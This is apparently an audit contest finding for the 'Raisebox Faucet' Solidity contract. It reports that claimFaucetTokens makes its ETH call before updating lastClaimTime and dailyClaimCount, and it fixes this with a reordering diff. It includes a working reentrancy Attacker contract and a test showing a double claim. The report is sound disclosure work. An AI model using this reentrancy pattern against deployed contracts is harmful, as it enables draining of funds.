Raisebox Faucet

First Flight #50
Beginner FriendlySolidity
100 EXP
Submission Details
Impact: high
Likelihood: high

Reentrancy in claimFaucetTokens Allows Double-Claiming of Tokens

Author Revealed upon completion

Description

  • The root cause of the vulnerability is a violation of the Checks-Effects-Interactions (CEI) security pattern. The claimFaucetTokens function incorrectly performs an external call (Interaction) before it finalizes the state changes (Effects).

  • This creates a window where an attacker's contract can receive ETH and immediately call back into the claimFaucetTokens function. Because the state variables like lastClaimTime have not yet been updated, the initial security checks will pass a second time, allowing a double-claim. The direct impacts are a potential theft of faucet tokens and a loss of confidence in the contract's ability to enforce its own rules.

// Root cause in the codebase: The external call (Interaction) happens before state updates (Effects).
// @> Interaction: External call happens here, handing over execution control.
(bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
// ... several lines later ...
// @> Effects: Critical state updates happen *after* the external call, which is too late.
lastClaimTime[faucetClaimer] = block.timestamp;
dailyClaimCount++;
_transfer(address(this), faucetClaimer, faucetDrip);

Risk

  • Likelihood:

    • The reentrancy occurs whenever a first-time claim is made by a malicious smart contract that implements a receive() or fallback() function to re-enter the claimFaucetTokens function.

  • Impact:

    • Theft of Faucet Tokens: An attacker can double-claim, or potentially multi-claim, faucet tokens with every transaction, draining the faucet's supply much faster than intended.

    • Inconsistent State: The contract's internal accounting for cooldowns (lastClaimTime) and daily limits (dailyClaimCount) becomes unreliable and can be bypassed, leading to unfair token distribution.

Proof of Concept

Explanation

The following code demonstrates a practical exploit of this vulnerability. The scenario unfolds as follows:

  1. A malicious Attacker contract calls claimFaucetTokens().

  2. The RaiseBoxFaucet sends ETH to the Attacker, triggering its receive() payable fallback function.

  3. Within the receive() function, the Attacker immediately calls claimFaucetTokens() again.

  4. Because the lastClaimTime was not updated after the first call, the faucet's security checks pass a second time, and the attacker successfully claims another set of tokens.

contract Attacker {
RaiseBoxFaucet target;
bool reentered;
constructor(RaiseBoxFaucet _t) {
target = _t;
}
function attack() external {
target.claimFaucetTokens();
}
receive() external payable {
if (!reentered) {
reentered = true;
target.claimFaucetTokens(); // Reenter before state updates
}
}
}
function testReentrancyAttack() public {
Attacker attacker = new Attacker(raiseBoxFaucet);
uint256 initialBalance = raiseBoxFaucet.getBalance(address(attacker));
uint256 initialEthBalance = address(attacker).balance;
attacker.attack();
// Should have claimed twice due to reentrancy
assertTrue(
raiseBoxFaucet.getBalance(address(attacker)) >
initialBalance + raiseBoxFaucet.faucetDrip()
);
assertTrue(address(attacker).balance > initialEthBalance);
}

Recommended Mitigation

Explanation:

  To remediate the vulnerability, the function must be refactored to strictly adhere to the Checks-Effects-Interactions pattern. All state-modifying effects must be finalized *before* any interaction with an external contract.

The proposed change reorders the function logic as follows:

  1. Effects First: State variables such as lastClaimTime and dailyClaimCount are updated immediately after the initial security checks.

  2. Interaction Last: The external .call() that sends ETH is moved to the end of the function.

This change ensures that the contract's state is always consistent before it interacts with any outside address. Any re-entrant call will now correctly fail the security checks because the state will have already been updated.

\

function claimFaucetTokens() public {
- faucetClaimer = msg.sender;
+ address claimer = msg.sender;
// ... checks ...
+ // Effects BEFORE any external calls
+ lastClaimTime[claimer] = block.timestamp;
+ dailyClaimCount++;
// first-time ETH drip
- if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
+ if (!hasClaimedEth[claimer] && !sepEthDripsPaused) {
if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
- hasClaimedEth[faucetClaimer] = true;
+ hasClaimedEth[claimer] = true;
dailyDrips += sepEthAmountToDrip;
- (bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
+ (bool success,) = claimer.call{value: sepEthAmountToDrip}("");
if (!success) revert RaiseBoxFaucet_EthTransferFailed();
}
}
- _transfer(address(this), faucetClaimer, faucetDrip);
+ _transfer(address(this), claimer, faucetDrip);
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.